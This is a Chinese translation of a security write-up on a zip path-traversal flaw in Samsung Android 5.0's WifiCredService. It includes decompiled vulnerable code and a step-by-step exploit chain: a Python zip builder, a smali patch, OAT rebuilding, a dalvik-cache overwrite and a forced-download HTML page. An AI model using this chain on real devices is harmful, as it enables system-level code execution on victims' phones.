三星安卓5.0裝置WifiCredService 遠端程式碼執行

wyzsk發表於2020-08-19
作者: netwind · 2015/11/26 14:24

From:http://blog.quarkslab.com/remote-code-execution-as-system-user-on-android-5-samsung-devices-abusing-wificredservice-hotspot-20.html

0x00摘要


該漏洞在幾個月前被Google Project Zero和Quarkslab團隊發現,最近才被披露出來。該漏洞只需使用者瀏覽一個網站或下載一個郵件附件或透過基本沒有任何許可權的第三方惡意程式就可以觸發,據目前掌握的情況,該漏洞在所有三星安卓5.0裝置上都可以以系統使用者身份進行遠端程式碼執行。

0x01 漏洞概述


在三星安卓5.0裝置上,有一個系統程式透過使用基於inotify機制的一個JAVA 物件FileObserver,來對裝置目錄/sdcard/Download/進行檔案監控。當一個檔案以cred開頭並且以.zip為字尾的壓縮包檔案在上述目錄被建立時,系統會呼叫一個解壓例程在/data/bundle/目錄解壓這個檔案,並在解壓完畢後把壓縮包檔案從/sdcard/Download/目錄裡刪除。

不幸的是,系統沒有對壓縮包裡的檔名進行任何驗證,那就意味著一個以../開頭的檔案將會被解壓到/data/bundle/以外的目錄。這樣就會導致攻擊者可以以系統許可權寫任意內容到任意目錄。那麼如果我們透過解壓例程精心構造一個目錄,在當前系統使用者許可權允許的情況下覆蓋該目錄裡的檔案,最終必然會導致任意程式碼執行。

假如Google Chrome等瀏覽器儲存下載檔案的目錄或者Gmail儲存附件的目錄為/sdcard/Download/,這樣一個遠端程式碼執行漏洞就會產生。

0x02 攻擊場景


根據我們的研究,以下場景可以利用該漏洞進行攻擊:

  • 透過任何瀏覽器(包括Google Chrome)瀏覽一個網頁
  • 透過Gmail下載一個附件
  • 安裝一個沒有許可權的安卓應用

0x03 如何檢測該漏洞?


為了快速、方便檢測該漏洞,我們在google開源工程Android VTS (https://play.google.com/store/apps/details?id=com.nowsecure.android.vts).上提供了一個模組。這樣安裝了Android VTS就可以檢測裝置是否存在漏洞。

漏洞檢測效果如圖:

0x04 細節分析


以下分析在三星Galaxy S6上進行,存在漏洞程式碼的應用為Hs20Settings.apk,它註冊了一個名為WifiHs20BroadcastReceiver的BroadcastReceiver(廣播接收服務),該服務在應用啟動的時候就會被執行,或者在某些WIFI事件(例如android.net.wifi.STATE_CHANGE)產生的時也會被執行。

我們要記住一點,漏洞程式碼可以在裝置的任何一個地方。比如在 Samsung Galaxy S5裝置上,漏洞程式碼存在於SecSettings.apk裡。

當BroadcastReceiver被之前所述的事件觸發後,下面的程式碼將會被執行:

#!java 
public void onReceive(Context context, Intent intent) {
  [...]
  String action = intent.getAction();
  [...]
  if("android.intent.action.BOOT_COMPLETED".equals(action)) {
      serviceIntent = new Intent(context, WifiHs20UtilityService.class);
      args = new Bundle();
      args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003);
      serviceIntent.putExtras(args);
      context.startServiceAsUser(serviceIntent, UserHandle.CURRENT);
  }
  [...]
}

每接收到一個事件,就會建立一個Intent,從而產生一個 WifiHs20UtilityService服務。在服務的建構函式里,特別是onCreate()方法裡,我們可以看到新的物件 WifiHs20CredFileObserver的建立過程:

#!java
public void onCreate() {
  super.onCreate();
  Log.i("Hs20UtilService", "onCreate");
  [...]
  WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver(
          this,
          Environment.getExternalStorageDirectory().toString() + "/Download/"
  );
  WifiHs20UtilityService.credFileObserver.startWatching();
  [...]
}

WifiHs20CredFileObserver被定義為FileObserver的子類:

 class WifiHs20CredFileObserver extends FileObserver {

FileObserver物件在以下安卓文件裡被定義[3]

監控任何程式對檔案的訪問和改動,FileObserver 是一個摘要類,子類必須提供事件控制程式碼onEvent(int, String)。每一個FileObserver例項監控一個檔案或者目錄。如果一個目錄被監控,那麼目錄裡面的所有檔案以及子目錄都會被監控。

透過事件掩碼來定義針對檔案的改變或操作。根據事件型別常量來描述在事件掩碼裡可能的改變以及事件回撥的實際情況。

公共建構函式必須定義一個路徑和一個事件掩碼:

FileObserver(String path, int mask)

WifiHs20CredFileObserver的建構函式如下:

#!java
public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) {
  WifiHs20UtilityService.this = arg2;
  super(path, 0xFFF);
  this.pathToWatch = path;
}

上面程式碼片段中,FileObserver監控著 /sdcard/Download/目錄裡所有有效型別的事件,實際上,掩碼 0xFFF代表的就是FileObserver.ALL_EVENTS。為了搞明白事件接收時的操作,我們必須看一下在WifiHs20CredFileObserver裡重寫方法的事件函式 onEvent():

#!java
public void onEvent(int event, String fileName) {
    WifiInfo wifiInfo;
    Iterator i$;
    String credInfo;
    if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName
            .endsWith(".zip")))) {
        Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" +
                event);
        if(fileName.endsWith(".conf")) {
            try {
                credInfo = this.readSdcard(this.pathToWatch + fileName);
                if(credInfo == null) {
                    return;
                }   

                new File(this.pathToWatch + fileName).delete();
                i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();
                while(i$.hasNext()) {
                    WifiHs20Timer.access$500(i$.next()).cancel();
                }   

                WifiHs20UtilityService.this.expiryTimerList.clear();
                WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo);
                wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();
                if(!wifiInfo.isCaptivePortal()) {
                    return;
                }   

                if(wifiInfo.getNetworkId() == -1) {
                    return;
                }   

                WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.
                        mWifiManager.getConnectionInfo().getNetworkId(), null);
            }
            catch(Exception e) {
                e.printStackTrace();
            }   

            return;
        }   

        if(fileName.endsWith(".zip")) {
            String zipFile = this.pathToWatch + "/cred.zip";
            String unzipLocation = "/data/bundle/";
            if(!this.installPathExists()) {
                return;
            }   

            this.unzip(zipFile, unzipLocation);
            new File(zipFile).delete();
            credInfo = this.loadCred(unzipLocation);
            if(credInfo == null) {
                return;
            }   

            i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();
            while(i$.hasNext()) {
                WifiHs20Timer.access$500(i$.next()).cancel();
            }   

            WifiHs20UtilityService.this.expiryTimerList.clear();
            Message msg = new Message();
            Bundle b = new Bundle();
            b.putString("cred", credInfo);
            msg.obj = b;
            msg.what = 42;
            WifiHs20UtilityService.this.mWifiManager.callSECApi(msg);
            wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();
            if(!wifiInfo.isCaptivePortal()) {
                return;
            }   

            if(wifiInfo.getNetworkId() == -1) {
                return;
            }   

            WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager
                    .getConnectionInfo().getNetworkId(), null);
        }
    }
}

當一個 type 為8 (FileObserver.CLOSE_WRITE) 的事件被接收到時,開始對檔名進行一些檢查,當檔名以 cred 開頭並以.zip或.conf結尾時,就會進行一些處理。其他情況 FileObserver將不做處理。

當受監控的檔案被寫入監視目錄時,會發生兩個場景:

  • .conf檔案:服務透過readSdcard()讀取檔案,然後透過 WifiManager.modifyPasspointCred()進行配置,最後刪除.conf檔案。
  • .zip檔案:首先解壓並釋放到 /data/bundle/目錄,然後透過loadCred()讀取解壓的cred.conf,然後把loadCred()的返回結果作為一個Bundle物件的引數來呼叫WifiManager.callSECApi()函式,解壓完畢後.zip會被刪除。

我們只對第二個場景感興趣。透過標準ZipInputStream類進行解壓時,它有一個廣為人知的問題[4],就是如果不對檔名進行驗證的時候,就會產生一個檔案遍歷漏洞。這個漏洞有點類似於 @fuzion24報告的三星鍵盤更新機制的漏洞[5]

下面是精簡後的unzip()函式程式碼,為了便於觀看,try/catch 標籤被刪除了:

#!java
private void unzip(String _zipFile, String _location) {
   FileInputStream fin = new FileInputStream(_zipFile);
   ZipInputStream zin = new ZipInputStream(((InputStream)fin)); 

   ZipEntry zentry; 

   /* check if we need to create some directories ... */
   while(true) {
     label_5:
       zentry = zin.getNextEntry();
       if(zentry == null) {
           // exit
       }    

       Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName());
       if(!zentry.isDirectory()) {
           break;
       }
       /* if the directory does'nt exist, the _dirChecker will create it */
       this._dirChecker(_location, zentry.getName());
   }    

   FileOutputStream fout = new FileOutputStream(_location + zentry.getName());  

   int c;
   for(c = zin.read(); c != -1; c = zin.read()) {
       if(fout != null) {
           fout.write(c);
       }
   }    

   if(zin != null) {
     zin.closeEntry();
   }    

   if(fout == null) {
       goto label_45;
   }    

   fout.close();
label_45:
   MimeTypeMap type = MimeTypeMap.getSingleton();
   String fileName = new String(zentry.getName());
   int i = fileName.lastIndexOf(46);
   if(i <= 0) {
     goto label_5;
   }    

   String v2 = fileName.substring(i + 1);
   Log.v("Hs20UtilService", "Ext" + v2);
   Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2));
   goto label_5;
  }
 }

從上面程式碼可以看到,沒有對檔案遍歷問題進行驗證。因此,如果我們把cred.zip 或者cred[something].zip 寫進 /sdcard/Download/目錄,WifiHs20CredFileObserver會自動(沒有其他使用者干預時)解壓檔案到/data/bundle/ 目錄,並刪除.zip檔案。由於沒有對.zip裡的檔名進行驗證,任何一個以../開頭的檔案,都會被解壓到/data/bundle/以外,並且已存在的檔案會被覆蓋,同時解壓操作是以系統使用者身份進行的。

現在,我們來思考一下怎麼進行程式碼執行。

0x05 漏洞攻擊


首先我們構造一個任意檔名的zip檔案,用 python指令碼很容易實現:

#!python
from zipfile import ZipFile 

with ZipFile("cred.zip", "w") as z:
    z.writestr("../../path/filename", open("file", "rb").read())

現在,怎麼進行程式碼執行呢?當你有以系統使用者身份寫任意資料到任何地方的能力的時候,一個經典的做法就是覆蓋dalvik-cache。安卓5.0 dalvikvm已經被ART runtime替代。和ODEX 檔案一樣,壓縮包管理器透過呼叫dex2oat來生成 .apk 裡面的OAT檔案,並把檔案以.dex為字尾寫入到/data/dalvik-cache/目錄。因此,最終我們依然可以透過這種方法進行程式碼執行。

不幸是(依據你自身的環境,也可能不是這種壞的情況),覆蓋dalvik-cache來進行程式碼執行現在非常困難。對於現在的ROM,dalvik-cach目錄的控制權掌握在root使用者裡,並且 SELinux[6][7]對寫許可權有嚴格限制。

一些老的三星ROM,比如 G900FXXU1BNL9 或 G900FXXU1BOB7,並沒有這些SELinux[6][7]限制,這些裝置漏洞是比較容易利用的。這裝置的ROM裡,雖然dalvik-cache的宿主是root,但是沒有那些規則限制,不會阻止我們覆蓋dalvik-cache。文章裡我們將以這些ROM為例來進行漏洞分析,因為本文重點不是來分析如何透過覆蓋dalvik-cache以外的方法來進行程式碼執行。

現在,我們有了一個可以被攻擊的ROM,我們還需要找到一個目標應用(以系統使用者身份執行),以便來改寫它的OAT檔案,同時我們還要精心構造我們自己的OAT檔案。

找到一個好的安卓目標應用程式並非易事,我們必須在記住以下3點:

  1. 解壓例程是JAVA程式碼編寫的,加壓的時候是一位元組一位元組進行,對於大檔案非常慢。
  2. 覆蓋正在執行的應用的OAT檔案,可能會導致該應用崩潰,並且不會非常穩定 :)。
  3. 你將如何透過該應用來進行程式碼執行?

實際上,我們需要找一個小的OAT檔案,但想要安全的覆蓋它幾乎不可能。

這裡比較完美的一個選擇如下:

[email protected]:/ $ ls -al [email protected]@[email protected]@classes.dex
-rw-r--r-- system   u0_a31000   176560 2015-10-30 15:40 [email protected]@[email protected]@classes.dex

觀察這個應用的manifest檔案,發現它有自動執行的能力,它透過註冊一個 BroadcastReceiver服務,監聽android.intent.action.BOOT_COMPLETED事件來自動執行:

#!html
<manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android">
    <application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256">
        [...]
        <receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" />
            </intent-filter>
        </receiver>
        [...]
    </application>
</manifest>

因此,如果我們把我們自己的程式碼放在AccessControlReceiver類的onReceive()方法裡,裝置每次啟動的時候我們的程式碼也會被執行。

下面讓我們驗證一下。

首先我們需要獲得 AccessControl應用的原始程式碼:

> adb pull /system/app/AccessControl/arm/ .
pull: building file list...
pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xz
pull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz
2 files pulled. 0 files skipped.
273 KB/s (72428 bytes in 0.258s)
> ls
AccessControl.odex.art.xz  AccessControl.odex.xz
> xz -d *
> file *
AccessControl.odex:     ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
AccessControl.odex.art: data

我們獲得了ART ELF (OAT)檔案,但是我們需要修改它的dalvik位元組碼,我們可以透過oat2dex utility [8]來產生相應的dalvik位元組碼:

> python oat2dex.py /tmp/art/AccessControl.odex
Processing '/tmp/art/AccessControl.odex'
Found DEX signature at offset 0x2004
Got DEX size: 0xe944
Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'
> file *
[...]
AccessControl.odex.0x2004.dex: Dalvik dex file version 035
[...]
> baksmali AccessControl.odex.0x2004.dex -o smali

然後我們對AccessControlReceiver進行補丁,以增加我們的程式碼到它的 onReceive()方法裡:

> find smali/ -iname '*receiver*'
smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
> vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
[...]
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
  .registers 10 

+  # adding the following code:
+  const-string v0, "sh4ka"
+  const-string v1, "boom!"
+  invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I
[...]
> smali smali/ -o classes.dex

透過我們修改過的DEX來重建ART ELF file (OAT)檔案,我們需要用dex2oat命令[9]行來進行:

> adb pull /system/app/AccessControl/AccessControl.apk .
1462 KB/s (259095 bytes in 0.173s)
> sudo chattr +i AccessControl.apk
> cp AccessControl.apk Modded.apk
> zip -q Modded.apk classes.dex
> python -c 'print len("/system/app/AccessControl/AccessControl.apk")'
43
> python -c 'print 43-len("/data/local/tmp/Modded.apk")'
17
> mv Modded.apk Modded$(python -c 'print "1"*17').apk
> ls
AccessControl.apk  AccessControl.odex  AccessControl.odex.0x2004.dex  AccessControl.odex.art  classes.dex  Modded11111111111111111.apk  smali
> adb push Modded11111111111111111.apk /data/local/tmp
1144 KB/s (284328 bytes in 0.242s)
> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat
> adb pull /data/local/tmp/modified.oat .
1208 KB/s (172464 bytes in 0.139s)
> file modified.oat
modified.oat: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
> sed -i 's/\/data\/local\/tmp\/Modded11111111111111111.apk/\/system\/app\/AccessControl\/AccessControl.apk/g;' modified.oat

最後,我們透過建立好的ZIP檔案來對這個漏洞進行攻擊:

> cat injectzip.py
import sys
from zipfile import ZipFile 

with ZipFile("cred.zip","w") as z:
  z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())
> python injectzip.py ../../../../../..[email protected]@[email protected]@classes.dex /tmp/art/modified.oat
> zipinfo cred.zip
Archive:  cred.zip
Zip file size: 172750 bytes, number of entries: 1
?rw-------  2.0 unx   172464 b- stor 15-Nov-08 18:43 ../../../../../..[email protected]@[email protected]@classes.dex
1 file, 172464 bytes uncompressed, 172464 bytes compressed:  0.0%

這裡有很多方法來觸發漏洞,比如訪問一個網頁,強制讓瀏覽器下載ZIP檔案:

#!html
<html>
<head><script type="text/javascript">document.location="/cred.zip";</script></head>
<body></body>
</html>

或者為了方便方便測試,我們用adb命令傳送一個檔案到/sdcard/Download/:

> adb push cred.zip /sdcard/Download/
> adb logcat WifiCredService:V *:S
--------- beginning of main
--------- beginning of system
I/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/cred.zip]8
V/WifiCredService( 4599): Unzipping********** ../../../../../..[email protected]@[email protected]@classes.dex
V/WifiCredService( 4599): Extdex
V/WifiCredService( 4599): Mime Typenull

下次重啟後,將會顯示下面的資訊:

> adb reboot; adb logcat sh4ka:V *:S
- waiting for device -
--------- beginning of system
--------- beginning of main
F/sh4ka   ( 3613): boom!

上述過程證明了我們透過覆蓋 dalvik-cache來進行程式碼執行。當然這個方法並不完美,因為在不利的裝置或者比較特別的ROM上,我們要苦心的構造OAT檔案。測試該漏洞,需要多個操作步驟。首先我們讓裝置以一個低許可權使用者身份執行,同時精力集中在穩定性上(比如不覆蓋 dalvik-cache檔案)。然後我們以低許可權身份訪問系統,直接利用裝置上的dex2oat工具來為 AccessControl.apk建立一個相容的OAT檔案,最後在SDCard上建立一個包含了自己的OAT檔案的名字類似 cred[something].zip的ZIP檔案,覆蓋掉 dalvik-cache,最後獲得系統許可權的程式碼執行。

0x06 總結


如文中所見,OEM定製仍然是安卓安全中最薄弱的環節。當你的智慧手機給你一個機會,可以透過一個邏輯漏洞來獲得一個100%穩定的exploit,你會願意繞過沙箱或者擊敗系統保護機制(ASLR/canary/...) 來獲得這個穩定的exploit嗎?

再次強調一下,該漏洞產生的根本原因是透過ZipInputStream進行解壓操作的時候沒有對檔名進行驗證而造成的。當然,將來可能這裡會有一些驗證…………。

0x07 引用


本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章